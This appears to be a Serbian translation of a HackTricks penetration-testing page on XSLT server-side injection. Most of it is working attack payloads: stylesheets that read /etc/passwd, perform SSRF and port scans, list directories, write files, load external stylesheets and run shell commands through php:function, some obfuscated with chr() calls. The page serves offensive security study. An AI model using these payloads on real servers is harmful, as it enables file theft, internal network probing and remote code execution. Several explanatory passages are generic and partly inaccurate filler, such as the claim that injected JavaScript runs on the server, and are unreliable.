XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Osnovne informacije

XSLT je tehnologija koja se koristi za transformaciju XML dokumenata u različite formate. Dolazi u tri verzije: 1, 2 i 3, pri čemu je verzija 1 najčešće korišćena. Proces transformacije može se izvršiti na serveru ili u pregledaču.

Najčešće korišćeni okviri uključuju:

  • Libxslt od Gnome-a,

  • Xalan od Apache-a,

  • Saxon od Saxonica-e.

Za iskorišćavanje ranjivosti povezanih sa XSLT, neophodno je da se xsl oznake čuvaju na serverskoj strani, a zatim pristupiti tom sadržaju. Primer takve ranjivosti dokumentovan je u sledećem izvoru: https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/.

Primer - Tutorijal

sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java
xml.xml
<?xml version="1.0" encoding="UTF-8"?>
<catalog>
<cd>
<title>CD Title</title>
<artist>The artist</artist>
<company>Da Company</company>
<price>10000</price>
<year>1760</year>
</cd>
</catalog>
xsl.xsl
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td><xsl:value-of select="catalog/cd/title"/></td>
<td><xsl:value-of select="catalog/cd/artist"/></td>
</tr>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

Izvrši:

saxonb-xslt -xsl:xsl.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td>CD Title</td>
<td>The artist</td>
</tr>
</table>
</body>
</html>

Otisak prsta

detection.xsl
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>

I izvršite

$saxonb-xslt -xsl:detection.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>

Čitanje lokalne datoteke

read.xsl
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>
$ saxonb-xslt -xsl:read.xsl xml.xml

Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

SSRF

Server-Side Request Forgery (SSRF) (Форжиранje zahteva sa servera) je bezbednosna ranjivost koja omogućava napadaču da izvrši zahteve sa servera na druge interne ili eksterne resurse. Ova ranjivost se često koristi za izvršavanje napada kao što su skeniranje mreže, pristup internim servisima ili čak izvršavanje napada na druge sisteme.

SSRF se obično javlja kada aplikacija koristi korisnički unos za formiranje URL-a za zahtev. Napadač može da manipuliše ovim unosom kako bi izvršio zahteve na resurse koji nisu namenjeni javnom pristupu. Na primer, napadač može da izvrši zahtev na interni server ili čak na druge veb aplikacije koje su dostupne na internetu.

Da bi iskoristio SSRF ranjivost, napadač može da koristi različite tehnike, kao što su:

  • Korišćenje URL-ova sa lokalnim IP adresama ili privatnim mrežnim adresama.

  • Korišćenje URL-ova sa loopback adresom (127.0.0.1) kako bi pristupio lokalnim servisima na serveru.

  • Korišćenje URL-ova sa specijalnim oznakama ili protokolima koji omogućavaju pristup drugim resursima, kao što su file:// ili gopher://.

Da bi se zaštitili od SSRF ranjivosti, preporučuje se sledeće:

  • Validacija korisničkog unosa kako bi se sprečilo korišćenje nevažećih URL-ova.

  • Ograničavanje pristupa servera na samo one resurse koji su neophodni za rad aplikacije.

  • Korišćenje belih lista (whitelisting) umesto crnih lista (blacklisting) prilikom konfigurisanja dozvoljenih URL-ova.

  • Redovno ažuriranje softvera i primena sigurnosnih zakrpa kako bi se sprečile poznate ranjivosti koje mogu biti iskorišćene za SSRF napade.

Ukratko, SSRF je ozbiljna ranjivost koja može omogućiti napadaču da izvrši zahteve sa servera na druge resurse. Implementacija odgovarajućih sigurnosnih mera može pomoći u sprečavanju ovog tipa napada.

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>

Verzije

Može biti više ili manje funkcija u zavisnosti od verzije XSLT-a koja se koristi:

Fingerprint

Otpremi ovo i preuzmi informacije

<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>

SSRF

Server-Side Request Forgery (SSRF) je sigurnosna ranjivost koja omogućava napadaču da izvrši zahtev sa servera prema drugim resursima na mreži. Ova ranjivost se često koristi za izvršavanje napada kao što su povratni kanal zaobilaženja sigurnosnih ograničenja, skeniranje unutrašnje mreže, pristup internim servisima i izvršavanje napada na drugim sistemima.

SSRF se često iskorišćava kroz unos korisničkih podataka koji se prosleđuju serveru, kao što su URL-ovi ili IP adrese. Napadač može manipulisati ovim unosima kako bi izazvao server da izvrši zahtev prema ciljanim resursima. Ovo može uključivati pristup internim servisima, kao što su baze podataka ili administrativni paneli, ili čak eksternim resursima na internetu.

Da bi se iskoristila SSRF ranjivost, napadač mora pronaći način da server izvrši zahtev prema ciljanim resursima. To se može postići korišćenjem različitih tehnika, kao što su URL redirekcija, DNS rekurzija, lokalni IP adrese, mrežni interfejsi i drugi.

Da bi se zaštitili od SSRF ranjivosti, preporučuje se validacija i filtriranje korisničkih unosa koji se prosleđuju serveru. Takođe je važno ograničiti pristup servera ka internim resursima i koristiti sigurnosne mehanizme kao što su bela lista URL-ova ili sandbox okruženja za izvršavanje zahteva.

<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>

Ubacivanje Javascript koda

Ubacivanje Javascript koda je tehnika koja se koristi za izvršavanje zlonamernog koda na ciljnom serveru. Ova tehnika se često koristi u napadima na veb aplikacije kako bi se iskoristile ranjivosti i omogućilo izvršavanje neovlašćenih operacija.

Kako funkcioniše?

Kada se izvršava Javascript kod na veb stranici, on ima pristup svim podacima i funkcionalnostima koje su dostupne na toj stranici. To znači da, ako je veb aplikacija ranjiva na Javascript ubacivanje, napadač može da ubaci zlonamerni Javascript kod koji će se izvršiti na strani servera.

Da bi se izvršio Javascript kod na serveru, napadač mora da pronađe ranjivost koja omogućava ubacivanje koda. Jedna od uobičajenih ranjivosti je nedovoljna validacija korisničkog unosa, što omogućava napadaču da ubaci zlonamerni kod putem formulara ili URL parametara.

Posledice

Ubacivanje Javascript koda može imati ozbiljne posledice po bezbednost veb aplikacije i korisnika. Napadač može da izvrši različite vrste napada, kao što su krađa podataka, preusmeravanje korisnika na zlonamerne stranice, ili čak preuzimanje kontrole nad serverom.

Da bi se zaštitili od ovakvih napada, veb aplikacije treba da primenjuju odgovarajuće sigurnosne mere, kao što su validacija korisničkog unosa, enkripcija podataka i ograničavanje privilegija izvršavanja Javascript koda.

Prevencija

Da bi se sprečilo ubacivanje Javascript koda, veb aplikacije treba da primenjuju sledeće sigurnosne mere:

  • Pažljivo validirati i filtrirati korisnički unos kako bi se sprečilo ubacivanje zlonamernog koda.

  • Koristiti sigurne metode za izvršavanje Javascript koda, kao što su Content Security Policy (CSP) i sandbox okruženja.

  • Redovno ažurirati veb aplikaciju i sve biblioteke kako bi se ispravile poznate ranjivosti.

  • Edukovati razvojni tim o sigurnosnim praksama i ranjivostima koje mogu dovesti do ubacivanja Javascript koda.

Pravilna primena ovih mera može značajno smanjiti rizik od ubacivanja Javascript koda i zaštititi veb aplikaciju od napada.

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>

Prikazivanje direktorijuma (PHP)

Opendir + readdir

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>

Assert (var_dump + scandir + false)

Assert (var_dump + scandir + false)

Ova tehnika se koristi za izvršavanje server-side injekcije XSLT-a (Extensible Stylesheet Language Transformations) kroz kombinaciju funkcija var_dump i scandir. Ova tehnika je korisna kada je ciljani server konfigurisan tako da izvršava XSLT transformacije.

Da biste iskoristili ovu tehniku, prvo koristite funkciju var_dump kako biste prikazali sadržaj direktorijuma na ciljanom serveru. Zatim, koristite funkciju scandir kako biste dobili listu datoteka i direktorijuma u tom direktorijumu. Konačno, koristite false kao argument za assert funkciju kako biste izvršili server-side injekciju.

Ova tehnika može biti korisna za dobijanje informacija o serveru, kao i za izvršavanje dodatnih napada na ciljani sistem. Važno je napomenuti da je ova tehnika specifična za servere koji podržavaju XSLT transformacije i da može biti ranjiva samo u određenim konfiguracijama.

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
<br />
</body>
</html>

Čitanje fajlova

Interno - PHP

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
</xsl:template>
</xsl:stylesheet>

Interno - XXE

XXE (Eksterni XML eksploatacioni napad) je vrsta napada koji se koristi za iskorišćavanje slabosti u obradi XML dokumenata. Ovaj napad omogućava napadaču da izvrši proizvoljan kod na serveru ili da izvrši druge zlonamerne radnje.

Kako funkcioniše XXE napad?

XXE napad se obično izvodi ubacivanjem zlonamernog XML sadržaja u aplikaciju koja obrađuje XML dokumente. Kada aplikacija pokuša da parsira XML dokument, ona može da izvrši eksterni HTTP zahtev ili da pristupi lokalnom fajlu na serveru. Ovo omogućava napadaču da izvrši proizvoljan kod ili da pristupi osetljivim informacijama.

Kako sprečiti XXE napade?

Da biste sprečili XXE napade, preporučuje se sledeće:

  • Validirajte i filtrirajte ulazne XML dokumente kako biste uklonili ili neutralisali potencijalno zlonamerne sadržaje.

  • Isključite eksterne entitete i DTD (Document Type Definition) obradu u XML parseru.

  • Koristite bezbedne XML parsere koji automatski isključuju eksterne entitete i DTD obradu.

  • Ažurirajte XML parsere na najnovije verzije koje ispravljaju poznate sigurnosne propuste.

Zaključak

XXE napadi predstavljaju ozbiljnu pretnju za aplikacije koje obrađuju XML dokumente. Implementacija odgovarajućih sigurnosnih mera, kao što je validacija i filtriranje ulaznih XML dokumenata, može pomoći u sprečavanju ovih napada.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>

Preko HTTP-a

XSLT Server-Side Injection (SSI) je tehnika koja se koristi za izvršavanje proizvoljnog koda na serveru putem XML ekstenzibilnog jezičkog transformacijskog obrasca (XSLT). Ova tehnika se može iskoristiti kada aplikacija prihvaća korisnički unos u XML formatu i koristi ga za generisanje XSLT transformacijskog obrasca.

Da biste izvršili XSLT SSI napad, prvo morate identifikovati mjesto gdje se korisnički unos ubacuje u XSLT transformacijski obrazac. Zatim, umjesto očekivanog XML sadržaja, ubacite XSLT kod koji će biti izvršen na serveru.

Jedan od načina za izvršavanje XSLT SSI napada je slanje HTTP zahtjeva sa specijalno oblikovanim XML tijelom koje sadrži XSLT kod. Kada server obradi zahtjev, XSLT transformacijski obrazac će biti generisan sa vašim ubačenim kodom i izvršen na serveru.

Ova tehnika može biti vrlo opasna, jer omogućava napadaču da izvršava proizvoljan kod na serveru, što može dovesti do kompromitovanja sistema, krađe podataka ili daljnjih napada na druge korisnike.

Da biste se zaštitili od XSLT SSI napada, preporučuje se sanitizacija korisničkog unosa i validacija XML sadržaja prije generisanja XSLT transformacijskog obrasca. Takođe, treba koristiti najnovije verzije softvera i pratiti sigurnosne zakrpe kako bi se smanjio rizik od ovog napada.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
<!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
&passwd;
</xsl:template>

Interno (PHP-funkcija)

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
<br />
</body>
</html>

Skeniranje portova

Port skeniranje je proces koji se koristi za identifikaciju otvorenih portova na ciljnom računaru ili mreži. Ova tehnika omogućava hakerima da otkriju koje usluge ili aplikacije su dostupne na određenim portovima. Kada se otkrije otvoren port, haker može iskoristiti ranjivosti tih usluga ili aplikacija kako bi izvršio napad.

Postoje različiti alati i tehnike koje se mogu koristiti za skeniranje portova. Neki od najčešće korišćenih alata su Nmap, Masscan i Zmap. Ovi alati omogućavaju hakerima da skeniraju veliki broj portova u kratkom vremenskom periodu.

Port skeniranje može biti pasivno ili aktivno. Pasivno skeniranje se odnosi na praćenje mrežnog saobraćaja kako bi se identifikovali otvoreni portovi. Aktivno skeniranje, s druge strane, uključuje slanje posebnih paketa na ciljne portove kako bi se proverilo da li su otvoreni ili zatvoreni.

Važno je napomenuti da je port skeniranje ilegalno bez dozvole vlasnika sistema ili mreže. Ova tehnika se često koristi u etičkom hakovanju ili pentestiranju kako bi se identifikovali bezbednosni propusti i ranjivosti.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="document('http://example.com:22')"/>
</xsl:template>
</xsl:stylesheet>

Pisanje u datoteku

XSLT 2.0

XSLT 2.0 podržava pisanje u datoteku pomoću xsl:result-document elementa. Ovaj element omogućava generisanje izlaznih datoteka tokom izvršavanja transformacije.

Da biste napisali sadržaj u datoteku, prvo morate definisati putanju do ciljne datoteke koristeći href atribut xsl:result-document elementa. Na primer:

<xsl:result-document href="putanja/do/datoteke.txt">
    <!-- Sadržaj koji želite da napišete u datoteku -->
</xsl:result-document>

Nakon definisanja putanje do datoteke, možete unutar xsl:result-document elementa koristiti bilo koji XSLT izraz za generisanje sadržaja datoteke.

Na primer, možete koristiti xsl:value-of element za upisivanje vrednosti u datoteku:

<xsl:result-document href="putanja/do/datoteke.txt">
    <xsl:value-of select="'Ovo je tekst koji će biti upisan u datoteku.'" />
</xsl:result-document>

Takođe možete koristiti xsl:copy-of element za kopiranje sadržaja izvornog XML dokumenta u ciljnu datoteku:

<xsl:result-document href="putanja/do/datoteke.txt">
    <xsl:copy-of select="." />
</xsl:result-document>

Napomena: Da biste koristili xsl:result-document element, vaš XSLT procesor mora podržavati XSLT 2.0 standard.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>

Xalan-J ekstenzija

Xalan-J je implementacija XSLT (Extensible Stylesheet Language Transformations) procesora napisana u programskom jeziku Java. Ova ekstenzija omogućava izvršavanje XSLT transformacija na serveru. Xalan-J ekstenzija može biti iskorišćena za izvršavanje server-side injekcije putem XSLT fajlova.

Da biste iskoristili ovu ranjivost, potrebno je pronaći mesto gde se XSLT fajl koristi za transformaciju XML podataka. Zatim, možete ubaciti zlonamerni kod u XSLT fajl kako biste izvršili proizvoljan kod na serveru.

Napadač može iskoristiti Xalan-J ekstenziju za izvršavanje različitih napada, kao što su čitanje i pisanje fajlova na serveru, izvršavanje sistemskih komandi, preuzimanje osetljivih podataka i još mnogo toga.

Važno je napomenuti da je ova ranjivost specifična za Xalan-J implementaciju XSLT procesora i ne odnosi se na sve XSLT procesore.

<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
<redirect:close file="loxal_file.txt"/>
</xsl:template>

Uključivanje spoljnih XSL fajlova

Kada koristite XSLT server-side injection, možete uključiti spoljne XSL fajlove kako biste pisali fajlove u PDF formatu. Ovo vam omogućava da iskoristite funkcionalnosti eksternih XSL fajlova za manipulaciju PDF datotekama.

Da biste to postigli, možete koristiti document() funkciju u XSLT kodu kako biste učitali spoljni XSL fajl. Zatim možete koristiti XSLT transformacije da biste generisali PDF datoteku sa željenim sadržajem.

Na primer, možete uključiti spoljni XSL fajl koji sadrži XSLT transformacije za generisanje PDF datoteke. Zatim možete koristiti ove transformacije da biste generisali PDF datoteku sa željenim sadržajem, kao što su tekst, slike ili tabele.

Važno je napomenuti da prilikom korišćenja ove tehnike treba biti oprezan da se ne dozvoli neovlašćen pristup ili manipulacija sa sistemom. Takođe, treba proveriti da li je platforma koju koristite podržava ovu funkcionalnost i da li postoje odgovarajuće bezbednosne mere zaštite.

<xsl:include href="http://extenal.web/external.xsl"/>
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>

Izvršavanje koda

php:function

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
<br />
</body>
</html>

Izvršite kod koristeći druge okvire u PDF-u

Više jezika

Na ovoj stranici možete pronaći primjere RCE-a u drugim jezicima: https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET (C#, Java, PHP)

Pristup PHP statičkim funkcijama iz klasa

Sljedeća funkcija će pozvati statičku metodu stringToUrl klase XSL:

<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
version="1.0">
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
<xsl:template match="root">
<html>
<!-- We use the php suffix to call the static class function stringToUrl() -->
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
<!-- Output: 'une_superstring ao modifier' -->
</html>
</xsl:template>
</xsl:stylesheet>

(Primer sa http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls)

Više Payloadova

Lista za otkrivanje Brute-Force napada

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Last updated